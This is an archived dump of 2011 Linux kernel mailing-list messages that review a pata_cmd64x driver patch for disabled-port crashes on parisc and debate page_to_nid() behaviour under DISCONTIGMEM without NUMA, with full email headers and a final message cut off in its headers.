Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:32915 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752495Ab1DSUtu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 16:49:50 -0400
Original-Received: by wya21 with SMTP id 21so80350wya.19
        for <multiple recipients>; Tue, 19 Apr 2011 13:49:49 -0700 (PDT)
Original-Received: by 10.227.101.2 with SMTP id a2mr1363305wbo.20.1303246188856;
        Tue, 19 Apr 2011 13:49:48 -0700 (PDT)
Original-Received: from [192.168.2.2] ([91.79.70.21])
        by mx.google.com with ESMTPS id b20sm159631wbb.67.2011.04.19.13.49.45
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 19 Apr 2011 13:49:46 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9
In-Reply-To: <1303152323.7167.16.camel@mulgrave.site>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3580 gmane.linux.ide:49340
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3580>

Hello.

On 18-04-2011 22:45, James Bottomley wrote:

> On non-x86 systems, probing a port which is listed as disabled can
> cause an immediate crash.  Fix the driver not to do this by porting
> the enablebits check from the IDE driver and setting the
> ATA_HOST_SFF_SINGLE_PORT flag if only the primary is enabled.

> Signed-off-by: James Bottomley<James.Bottomley@HansenPartnership.com>
> ---
>   drivers/ata/pata_cmd64x.c |   22 +++++++++++++++++++---
>   1 files changed, 19 insertions(+), 3 deletions(-)

> diff --git a/drivers/ata/pata_cmd64x.c b/drivers/ata/pata_cmd64x.c
> index 905ff76..aa71a13 100644
> --- a/drivers/ata/pata_cmd64x.c
> +++ b/drivers/ata/pata_cmd64x.c
> @@ -41,6 +41,9 @@
>   enum {
>   	CFR 		= 0x50,
>   		CFR_INTR_CH0  = 0x04,
> +	ENPORT		= 0x51,

    The register is actually called CNTRL.
    BTW, the PCI-649 specification is available at:
http://gkernel.sourceforge.net/specs/sii/SiI649-DS-0066.pdf.bz2

> +		ENPORT_PRIMARY   = 0x04,
> +		ENPORT_SECONDARY = 0x08,
>   	CMDTIM 		= 0x52,
>   	ARTTIM0 	= 0x53,
>   	DRWTIM0 	= 0x54,
> @@ -329,8 +332,8 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
>   		}
>   	};
>   	const struct ata_port_info *ppi[] = {&cmd_info[id->driver_data], NULL };
> -	u8 mrdmode;
> -	int rc;
> +	u8 mrdmode, reg;
> +	int rc, hflags = 0;
>
>   	rc = pcim_enable_device(pdev);
>   	if (rc)
> @@ -354,6 +357,19 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
>   	mrdmode |= 0x02;	/* Memory read line enable */
>   	pci_write_config_byte(pdev, MRDMODE, mrdmode);
>
> +	/* check for enabled ports */
> +	pci_read_config_byte(pdev, ENPORT, &reg);
> +	/* the cm643 primary port is always enabled */
> +	if (id->driver_data != 0&&  !(reg&  ENPORT_PRIMARY)) {

    That's not quite correct. The original PCI0646 didn't have the primary 
channel enable bit as well as PCI0643; only PCI0646U+ had the bit in question.

> +		dev_printk(KERN_ERR, &pdev->dev, "Primary port is disabled; detaching\n");
> +		return -ENODEV;

    Why? It's perfectly valid to have only secondary port enabled.

WBR, Sergei

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sergei Shtylyov <sshtylyov@mvista.com>
Newsgroups: gmane.linux.ide,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Wed, 20 Apr 2011 00:53:17 +0400
Lines: 42
Approved: news@gmane.org
Message-ID: <4DADF63D.1020607@ru.mvista.com>
References: <1303152147.7167.12.camel@mulgrave.site>	 <20110418205203.56bbdb14@lxorguk.ukuu.org.uk> <1303159802.7167.30.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303246504 7350 80.91.229.12 (19 Apr 2011 20:55:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 20:55:04 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-ide-owner@vger.kernel.org Tue Apr 19 22:54:59 2011
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1QCHwn-0001FP-PL
	for lnx-linux-ide@lo.gmane.org; Tue, 19 Apr 2011 22:54:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752126Ab1DSUy4 (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Tue, 19 Apr 2011 16:54:56 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:58842 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751804Ab1DSUyz (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Tue, 19 Apr 2011 16:54:55 -0400
Original-Received: by wya21 with SMTP id 21so83652wya.19
        for <multiple recipients>; Tue, 19 Apr 2011 13:54:54 -0700 (PDT)
Original-Received: by 10.216.79.10 with SMTP id h10mr6652755wee.20.1303246494388;
        Tue, 19 Apr 2011 13:54:54 -0700 (PDT)
Original-Received: from [192.168.2.2] ([91.79.70.21])
        by mx.google.com with ESMTPS id z50sm135608weq.47.2011.04.19.13.54.51
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 19 Apr 2011 13:54:53 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9
In-Reply-To: <1303159802.7167.30.camel@mulgrave.site>
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:49341 gmane.linux.ports.parisc:3581
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/49341>

Hello.

On 19-04-2011 0:50, James Bottomley wrote:

>> You shouldn't need to touch a single line of the core libata code,
>> although it might be the best way of doing it.

> So how about this, using the dummy port info mechanism.  I get a
> spurious ata2: DUMMY message, but I suppose libata people are used to
> that.  I still have to fix libata to prevent spurious irq information,
> but that's cosmetic.

> James

> ---

> diff --git a/drivers/ata/pata_cmd64x.c b/drivers/ata/pata_cmd64x.c
> index 905ff76..10dabe9 100644
> --- a/drivers/ata/pata_cmd64x.c
> +++ b/drivers/ata/pata_cmd64x.c
> @@ -354,6 +361,19 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
>   	mrdmode |= 0x02;	/* Memory read line enable */
>   	pci_write_config_byte(pdev, MRDMODE, mrdmode);
>
> +	/* check for enabled ports */
> +	pci_read_config_byte(pdev, ENPORT,&reg);
> +	/* the cm643 primary port is always enabled */
> +	if (id->driver_data != 0&&  !(reg&  ENPORT_PRIMARY)) {
> +		dev_printk(KERN_ERR,&pdev->dev, "Primary port is disabled; detaching\n");

    This is no longer true.

> +		ppi[0] =&ata_dummy_port_info;
> +		
> +	}

WBR, Sergei
--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 15:56:46 -0500 (CDT)
Lines: 95
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104191530040.23077@router.home>
References: <20110415135144.GE8828@tiehlicka.suse.cz>  <alpine.LSU.2.00.1104171952040.22679@sister.anvils>  <20110418100131.GD8925@tiehlicka.suse.cz>  <20110418135637.5baac204.akpm@linux-foundation.org>  <20110419111004.GE21689@tiehlicka.suse.cz> 
 <1303228009.3171.18.camel@mulgrave.site>  <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>  <1303233088.3171.26.camel@mulgrave.site>  <alpine.DEB.2.00.1104191213120.17888@router.home>  <1303235306.3171.33.camel@mulgrave.site> 
 <alpine.DEB.2.00.1104191254300.19358@router.home>  <1303237217.3171.39.camel@mulgrave.site>  <alpine.DEB.2.00.1104191325470.19358@router.home> <1303242580.11237.10.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303246631 7994 80.91.229.12 (19 Apr 2011 20:57:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 20:57:11 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
  Andrew Morton <akpm@linux-foundation.org>, Hugh Dickins <hughd@google.com>,
  linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
  linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-linux-mm@kvack.org Tue Apr 19 22:57:05 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCHyq-0003IG-LE
	for glkm-linux-mm-2@m.gmane.org; Tue, 19 Apr 2011 22:57:04 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id B74108D0041; Tue, 19 Apr 2011 16:57:02 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 5B9DF8D0040; Tue, 19 Apr 2011 16:57:01 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3D4F38D0041; Tue, 19 Apr 2011 16:57:00 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail191.messagelabs.com (mail191.messagelabs.com [216.82.242.19])
	by kanga.kvack.org (Postfix) with SMTP id D337A8D0040
	for <linux-mm@kvack.org>; Tue, 19 Apr 2011 16:56:59 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: cl@linux.com
X-Msg-Ref: server-9.tower-191.messagelabs.com!1303246619!57918747!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [76.13.13.42]
X-SpamReason: No, hits=0.0 required=7.0 tests=UNPARSEABLE_RELAY
Original-Received: (qmail 21634 invoked from network); 19 Apr 2011 20:56:59 -0000
Original-Received: from smtp103.prem.mail.ac4.yahoo.com (HELO smtp103.prem.mail.ac4.yahoo.com) (76.13.13.42)
  by server-9.tower-191.messagelabs.com with SMTP; 19 Apr 2011 20:56:59 -0000
Original-Received: (qmail 83038 invoked from network); 19 Apr 2011 20:56:58 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp103.prem.mail.ac4.yahoo.com with SMTP; 19 Apr 2011 13:56:58 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: 3Uwn4HEVM1ngrU6dWyiZ8cN2dj7nMdzVaXeyNtodYbeMzyB
 0q3rY6WXvMQ2KMKfNN4S0fgZZf08i1R8cp2ICaRmYSangX7JTWFOXBmezLvj
 cjE0jiRj17TTALesVwVrUxzW0CYGXhFOKOeZhlNoQ4paBE_k2i9tNqWdp3xN
 tty4HWYJdvlehd4YSJXH6nrraePKrfW.gXsDAm7dY9Wr8XtfdZ5vF7t5c3V7
 WXJYH03h5ITTZmezTzBfm8W111pCpTQih7WfMgFM2d3V0Eo77pLWtlnO8DeN
 EnE4VArxgkrhDKov1_2jX6qgu_tfbDcsMvY8Tzs8u0Nt9po9V
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCHyj-00068T-J7; Tue, 19 Apr 2011 15:56:57 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303242580.11237.10.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61619 gmane.linux.kernel:1128689 gmane.linux.ports.parisc:3582
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61619>

On Tue, 19 Apr 2011, James Bottomley wrote:

> > > I told you ... I forced an allocation into the first discontiguous
> > > region.  That will return 1 for page_to_nid().
> >
> > How? The kernel has no concept of a node 1 without CONFIG_NUMA and so you
> > cannot tell the page allocator to allocate from node 1.
>
> Yes, it does, as I explained in the email.

Looked through it and canot find it. How would that be possible to do
with core kernel calls since the page allocator calls do not allow you to
specify a node under !NUMA.

> Don't be silly: alpha, ia64, m32r, m68k, mips, parisc, tile and even x86
> all use the discontigmem memory model in some configurations.

I guess DISCONTIGMEM is typically used together with NUMA. Otherwise we
would have run into this before.

> > > Not really.  The rest of the kernel uses the proper macros.  in
> > > DISCONTIGMEM but !NUMA configs, the numa macros expand correctly.
> > > You've cut across that with all the CONFIG_NUMA checks in slub.
> >
> > What are "the proper macros"? AFAICT page_to_nid() is the proper way to
> > access the node of a page. If page_to_nid() returns 1 then you have a zone
> > that the kernel knows of as being in node 0 having a page on a different
> > node.
>
> Well it depends what you want.  If you only want the actual NUMA node,
> then pfn_to_nid() probably isn't what you want, because in a
> DISCONTIGMEM model, there may be multiple nids per actual numa node.

Right yes you got it. The notion of a node is different(!!!!!). What
matters to the core kernel is the notion of a NUMA node. If DISCONTIGMEM
runs with !NUMA then the way that "node" is used in DISCONTIGMEM is
different from the core code and refers only to the memory blocks managed
by DISCONTIGMEM. The node should be irrelevant to the core then.

> > We can likely force page_to_nid to ignore the node information that have
> > been erroneously placed there but this looks like something deeper is
> > wrong here. The node field in struct page is not only used for the Linux
> > support of a NUMA node but also for blocks of memory. Those should be
> > separate things.
>
> Look, it's not wrong, it's by design.  The assumption that non-numa
> systems don't use nodes is the wrong one.

Depends on how you define the notion of a node. The way the core kernel
uses the term "node" means that there will be only one node and that is
node 0 if CONFIG_NUMA is off. Thus page_to_nid() must return 0 for !NUMA.

All sort of things in the core code will break in weird ways if you do
allow page_to_nid to return 1 under !NUMA. Just look at the usage of
page_to_nid(). Tried to use huge pages yet? And how will your version
of reality deal with the following checks in the page allocator? F.e.

              VM_BUG_ON(page_to_nid(page) != zone_to_nid(zone));

Enabled CONFIG_DEBUG_VM yet?


> > Index: linux-2.6/include/linux/mm.h
> > ===================================================================
> > --- linux-2.6.orig/include/linux/mm.h	2011-04-19 13:20:20.092521248 -0500
> > +++ linux-2.6/include/linux/mm.h	2011-04-19 13:21:05.962521196 -0500
> > @@ -665,6 +665,7 @@ static inline int zone_to_nid(struct zon
> >  #endif
> >  }
> >
> > +#ifdef CONFIG_NUMA
> >  #ifdef NODE_NOT_IN_PAGE_FLAGS
> >  extern int page_to_nid(struct page *page);
> >  #else
> > @@ -673,6 +674,9 @@ static inline int page_to_nid(struct pag
> >  	return (page->flags >> NODES_PGSHIFT) & NODES_MASK;
> >  }
> >  #endif
> > +#else
> > +#define page_to_nid(x) 0
> > +#endif
>
> Don't be silly ... that breaks asm-generic/memory_model.h

Well yeah looks like in order to be clean in the !NUMA case we would then
need a page_to_discontig_node_id() there that is different from the
page_to_nid() used for the core.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sergei Shtylyov <sshtylyov@mvista.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Wed, 20 Apr 2011 00:59:04 +0400
Lines: 31
Approved: news@gmane.org
Message-ID: <4DADF798.6010705@ru.mvista.com>
References: <1303152147.7167.12.camel@mulgrave.site>	<20110418205203.56bbdb14@lxorguk.ukuu.org.uk>	<1303159802.7167.30.camel@mulgrave.site> <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303246850 9164 80.91.229.12 (19 Apr 2011 21:00:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:00:50 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 23:00:45 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCI2N-0003zo-5U
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 23:00:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753913Ab1DSVAm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 17:00:42 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:52813 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752826Ab1DSVAl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 17:00:41 -0400
Original-Received: by wya21 with SMTP id 21so87283wya.19
        for <multiple recipients>; Tue, 19 Apr 2011 14:00:40 -0700 (PDT)
Original-Received: by 10.227.60.194 with SMTP id q2mr6788579wbh.63.1303246840497;
        Tue, 19 Apr 2011 14:00:40 -0700 (PDT)
Original-Received: from [192.168.2.2] ([91.79.70.21])
        by mx.google.com with ESMTPS id h11sm165591wbc.60.2011.04.19.14.00.38
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 19 Apr 2011 14:00:39 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9
In-Reply-To: <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3583 gmane.linux.ide:49342
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3583>

Hello.

On 19-04-2011 1:20, Alan Cox wrote:

>> +	}
>> +	if (!(reg&  ENPORT_SECONDARY)) {
>> +		dev_printk(KERN_NOTICE,&pdev->dev, "Secondary port is disabled\n");
>> +		ppi[1] =&ata_dummy_port_info;
>> +	}

> And you just broke split bridge setups. Also need to check if the bits
> are valid for this chipset in native mode officialy - Sergei probably
> knows the answer to that.

    The PCI-649 spec. doesn't say anything about legacy/native mode WRT the 
channel enable bits.

> We can detect the Mobility electronics split bridges at least (and I
> suspect they are the only 'common' CMD64x hot plug device indeed possibly
> the only one) because the parent bridge of the CMD64x will have a PCI
> vendor id of 0x14f2 and a device id 0x0001, 0x0002, or 0x0120.

    What's the issue with these brodges anyway? Why the enable bits are not 
valid for them?

WBR, Sergei
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Tue, 19 Apr 2011 22:19:00 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20110419221900.67528a07@lxorguk.ukuu.org.uk>
References: <1303152147.7167.12.camel@mulgrave.site>
	<20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	<1303159802.7167.30.camel@mulgrave.site>
	<20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
	<4DADF798.6010705@ru.mvista.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303247895 15496 80.91.229.12 (19 Apr 2011 21:18:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:18:15 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Sergei Shtylyov <sshtylyov@mvista.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 23:18:11 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCIJE-0006dT-GP
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 23:18:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754296Ab1DSVSH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 17:18:07 -0400
Original-Received: from earthlight.etchedpixels.co.uk ([81.2.110.250]:50580 "EHLO
	www.etchedpixels.co.uk" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753942Ab1DSVSG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 17:18:06 -0400
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by www.etchedpixels.co.uk (8.14.4/8.14.4) with ESMTP id p3JLJ150017731;
	Tue, 19 Apr 2011 22:19:01 +0100
In-Reply-To: <4DADF798.6010705@ru.mvista.com>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.22.0; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3584 gmane.linux.ide:49344
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3584>

> > We can detect the Mobility electronics split bridges at least (and I
> > suspect they are the only 'common' CMD64x hot plug device indeed possibly
> > the only one) because the parent bridge of the CMD64x will have a PCI
> > vendor id of 0x14f2 and a device id 0x0001, 0x0002, or 0x0120.
> 
>     What's the issue with these brodges anyway? Why the enable bits are not 
> valid for them?

Good question. I'd assumed because they are hotplugged and so no firmware
gets to set the bits properly ?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 16:21:43 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <1303248103.11237.16.camel@mulgrave.site>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
	 <alpine.LSU.2.00.1104171952040.22679@sister.anvils>
	 <20110418100131.GD8925@tiehlicka.suse.cz>
	 <20110418135637.5baac204.akpm@linux-foundation.org>
	 <20110419111004.GE21689@tiehlicka.suse.cz>
	 <1303228009.3171.18.camel@mulgrave.site>
	 <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
	 <1303233088.3171.26.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191213120.17888@router.home>
	 <1303235306.3171.33.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191254300.19358@router.home>
	 <1303237217.3171.39.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191325470.19358@router.home>
	 <1303242580.11237.10.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191530040.23077@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303248120 16776 80.91.229.12 (19 Apr 2011 21:22:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:22:00 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 19 23:21:54 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QCIMs-0000NO-3H
	for glk-linux-kernel-3@lo.gmane.org; Tue, 19 Apr 2011 23:21:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755989Ab1DSVVs (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 19 Apr 2011 17:21:48 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50935 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755895Ab1DSVVq (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
